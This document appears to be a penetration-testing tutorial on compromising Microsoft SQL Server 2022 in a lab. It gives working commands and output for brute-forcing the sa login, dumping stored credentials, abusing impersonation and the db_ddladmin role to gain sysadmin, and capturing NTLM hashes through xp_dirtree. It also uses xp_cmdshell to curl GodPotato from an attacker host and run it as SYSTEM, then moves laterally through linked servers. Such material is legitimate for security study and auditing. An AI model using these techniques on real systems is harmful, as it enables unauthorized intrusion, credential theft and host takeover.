Microsoft SQL server is a popular Relational Database Management System (RDBMS). In this article we will be looking at some ways of attacking SQL Server 2022, including;
Identifying MSSQL Listeners
Brute Force Attacks
Data Extraction
SQL Roles
Database Privilege Escalation: Impersonation
Database Privilege Escalation: db_ddladmin Abuse
Database Privilege Escalation: xp_dirtree
Command Execution
Linked Server Exploitation
Identifying MSSQL Listeners
By default, MSSQL will not listen for network traffic. This can be enabled using the Sql Server Configuration Manager;
With this in place, NMap can be used to identify the server on a network;
┌──(kali㉿kali)-[~]
└─$ nmap -p 1433 -A 192.168.1.198
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-03 09:52 GMT
Nmap scan report for 192.168.1.198
Host is up (0.00041s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ssl-date: 2024-02-03T09:52:42+00:00; 0s from scanner time.
| ms-sql-ntlm-info:
| 192.168.1.198:1433:
| Target_Name: BORDERGATE
| NetBIOS_Domain_Name: BORDERGATE
| NetBIOS_Computer_Name: SERVER1
| DNS_Domain_Name: bordergate.local
| DNS_Computer_Name: SERVER1.bordergate.local
| DNS_Tree_Name: bordergate.local
|_ Product_Version: 10.0.20348
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-02-01T13:54:05
|_Not valid after: 2054-02-01T13:54:05
| ms-sql-info:
| 192.168.1.198:1433:
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 1433
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.32 seconds
Brute Force Attacks
SQL Server supports two types of authentication, Windows Authentication, and SQL Server authentication. This can be configured using SQL Server Management Studio;
With SQL Server authentication, there is only one account by default, the SA (System Administrator) account which is disabled. It can be reactivated and a password set using the following SQL query;
GO
ALTER LOGIN [sa] WITH DEFAULT_DATABASE=[master]
GO
USE [master]
GO
ALTER LOGIN [sa] WITH PASSWORD=N'Password1'
GO
ALTER LOGIN [sa] ENABLE
GO
SQL Server accounts can be bruteforced with crackmapexec by using the local-auth flag;
crackmapexec mssql 192.168.1.198 -u sa -p /usr/share/wordlists/fasttrack.txt --local-auth
MSSQL 192.168.1.198 1433 SERVER1 [*] Windows 10.0 Build 20348 (name:SERVER1) (domain:SERVER1)
MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'.
MSSQL 192.168.1.198 1433 SERVER1 [+] sa:Password1 (Pwn3d!)
Data Extraction
Databases may contain useful information to perform further attacks, such as credentials. As such, it’s worth examining the contents of the database.
SQL (link dbo@website_db)> SELECT name from master.dbo.sysdatabases;
name
----------
master
tempdb
model
msdb
website_db
SQL (link dbo@website_db)> use website_db
[*] ENVCHANGE(DATABASE): Old Value: website_db, New Value: website_db
[*] INFO(SERVER1): Line 1: Changed database context to 'website_db'.
SQL (link dbo@website_db)> select * from website_db.INFORMATION_SCHEMA.TABLES
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
------------- ------------ ---------- ----------
website_db dbo logins b'BASE TABLE'
SQL (link dbo@website_db)> SELECT * FROM logins
username password
---------- ----------
link Password1
zelda Password1
SQL Roles
The following roles apply server wide. Roles are linked to logins.
Role | Description |
---|---|
sysadmin | Can perform any action on the server |
serveradmin | Can change system wide configuration options and shut down the server |
securityadmin | Can manage logins and their properties |
processadmin | Can end running processes |
setupadmin | Can add and remove linked servers |
bulkadmin | Can execute the BULK INSERT statement |
diskadmin | Can manage disk files |
dbcreator | Can create, alter or drop any database |
public | Every SQL login is a member of this role |
By default, the SA account is a member of the sysadmin role. All other accounts will be members of the public role.
In addition to server roles, there are additional database specific roles. These allow granular access control to databases;
Role | Description |
---|---|
db_owner | Can perform all configuration and maintenance tasks on a database |
db_securityadmin | Can modify role membership for custom roles and manage permissions |
db_accessadmin | Can add or remember access to the database |
db_backupoperator | Can backup the database |
db_ddladmin | Can run Data Definition Language commands |
db_datawriter | Can add, delete or change data |
db_datareader | Can read all data from the user tables |
db_denydatawriter | Members cannot write any data to the database |
db_denydatareader | Members cannot read any data in the database |
Database Privilege Escalation: Impersonation
SQL server support impersonation, where one account can execute commands in the context of another. The following SQL statement allows Zelda to execute commands on behalf of the SA user;
USE master;
GRANT IMPERSONATE ON LOGIN::sa to [Zelda];
GO
Using impacket-mssql, we can connect to the database as Zelda, then impersonate the SA account;
impacket-mssqlclient zelda:'Password1'@192.168.1.198
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SERVER1): Line 1: Changed database context to 'master'.
[*] INFO(SERVER1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (zelda guest@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- ------- -------
b'LOGIN' b'' IMPERSONATE GRANT zelda sa
SQL (zelda guest@msdb)> EXECUTE AS LOGIN = 'sa'
SQL (sa dbo@msdb)>
Database Privilege Escalation: db_ddladmin Abuse
The sp_syspolicy_purge_history stored procedure can be altered by users with the db_ddladmin database role. If we have with role on the MSDB database, this can be used to escalate privileges.
First, create a login link:
USE [master]
GO
CREATE LOGIN [link] WITH PASSWORD=N'Password1', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
Add login link to the db_ddladmin role:
USE [msdb]
GO
CREATE USER [link] FOR LOGIN [link]
GO
USE [msdb]
GO
ALTER ROLE [db_ddladmin] ADD MEMBER [link]
GO
When an adversary logs into the server using this account, we can see we are not a member of the sysadmin role;
impacket-mssqlclient link:'Password1'@192.168.1.198
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SERVER1): Line 1: Changed database context to 'master'.
[*] INFO(SERVER1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (link guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin')
-
0
The following SQL statements are issued to modify the stored procedure to add link as a member of the sysadmin group. Although this provides a warning, this will complete.
SQL (link guest@master)> use [msdb]
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: msdb
[*] INFO(SERVER1): Line 1: Changed database context to 'msdb'.
SQL (link link@msdb)> ALTER PROCEDURE [dbo].[sp_syspolicy_purge_history] AS BEGIN ALTER SERVER ROLE [sysadmin] ADD MEMBER [link] END
[*] INFO(SERVER1): Line 1: Warning: 'is_ms_shipped' property is turned off for procedure 'dbo.sp_syspolicy_purge_history' because you do not have permission to create or alter an object with this property.
The stored procedure will execute once per day. After it’s executed, login link will become a sysadmin;
SQL (link link@msdb)> SELECT IS_SRVROLEMEMBER('sysadmin')
-
1
Database Privilege Escalation: xp_dirtree
xp_dirtree is a stored procedure that allows you to query the filesystem. By pointing it at a UNC path running responder.py, we can capture the Net-NTLM hash of the service account.
SQL (link dbo@website_db)> xp_dirtree \\192.168.1.210\shared
subdirectory depth file
------------ ----- ----
In this instance, the service is running as local system (which we won’t be able to crack) although an administrator may have set it to use another account.
└─$ sudo responder -I eth0
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 192.168.1.198
[SMB] NTLMv2-SSP Username : BORDERGATE\SERVER1$
[SMB] NTLMv2-SSP Hash : SERVER1$::BORDERGATE:a63be65aa0105d91:2F5DE1052A71467C26E5691589FFC785:01010000000000000071F73A9D56DA01311FF4C4CF78AF640000000002000800350033003500380001001E00570049004E002D00570034004800550046004A004400360044004400390004003400570049004E002D00570034004800550046004A00440036004400440039002E0035003300350038002E004C004F00430041004C000300140035003300350038002E004C004F00430041004C000500140035003300350038002E004C004F00430041004C00070008000071F73A9D56DA0106000400020000000800300030000000000000000000000000300000C0BD377DC29C30B035FD38D2EBCA8A6CF697400C410E4F51D3E274DA535C58FE0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E003200310030000000000000000000
Command Execution
To execute operating system commands on SQL server, we can use the xp_cmdshell stored procedure. We can enable this with impacket using the enable_xp_cmdshell command.
SQL (sa dbo@msdb)> enable_xp_cmdshell
[*] INFO(SERVER1): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(SERVER1): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@msdb)> xp_cmdshell whoami
output
----------------------
nt service\mssqlserver
NULL
SQL (sa dbo@msdb)> xp_cmdshell hostname
output
-------
SERVER1
NULL
Host Privilege Escalation
The SQL service account by default has SeImpersonatePrivilege enabled.
SQL (link dbo@msdb)> xp_cmdshell whoami /priv
output
--------------------------------------------------------------------------------
NULL
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Because of this, we can use GodPotato to elevate our level of access to SYSTEM.
SQL (link dbo@msdb)> xp_cmdshell curl 192.168.1.210/GodPotato-NET4.exe -o C:\Windows\Tasks\potato.exe
SQL (link dbo@msdb)> xp_cmdshell C:\Windows\Tasks\potato.exe -cmd "cmd /c whoami"
output
--------------------------------------------------------------------------------
[*] CombaseModule: 0x140718087143424
[*] DispatchTable: 0x140718089734008
[*] UseProtseqFunction: 0x140718089026352
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\ea512fd6-c3d9-4b67-b12f-85352c095612\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000ec02-1c50-ffff-a235-202bba9f25c2
[*] DCOM obj OXID: 0x4fc9e0a0f47c3ae3
[*] DCOM obj OID: 0x2ad4796476995ecd
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 948 Token:0x748 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 6952
nt authority\system
NULL
Linked Server Exploitation
MSSQL supports a feature called Linked Servers. Essentially the MSSQL database is configured to connect to remote databases running on other systems. This allows you to execute a query against one host, but the data to be retrieved from multiple systems.
If linked servers are configured, and attacker may be able to exploit this feature to move laterally between different database systems.
To configure a linked server, in SQL Management Studio, select SERVER1 > Linked Servers > Right click and select new Linked Server.
On the general tab, set the data source to the target SQL server hostname.
In the security tab, set the user account used to login to the remote server.
Ensure RPC and RPC out is enabled in the server options.
impacket-mssql can be used to determine server links in place, and execute commands on the remote SQL server:
SQL (link dbo@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
-------- ---------------- ----------- -------------- ------------------ ------------ -------
SERVER1 SQLNCLI SQL Server SERVER1 NULL NULL NULL
SERVER2 SQLNCLI SERVER2 NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
------------- ----------- --------------- ------------
SERVER1 NULL 1 NULL
SERVER2 NULL 0 sa
SQL (link dbo@master)> use_link SERVER2
SQL >SERVER2 (sa dbo@master)> xp_cmdshell hostname
output
-------
SERVER2
NULL
This can also be done manually using the following SQL commands:
EXEC ('exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT SERVER2
EXEC ('exec master..xp_cmdshell ''hostname''') AT SERVER2
In Conclusion
This article covers the basics of assessing the security of an MSSQL server using impacket-mssql. There are a number of other useful tools which can also be used to perform MSSQL security audits, including;
- https://github.com/NetSPI/PowerUpSQL
- https://github.com/quentinhardy/msdat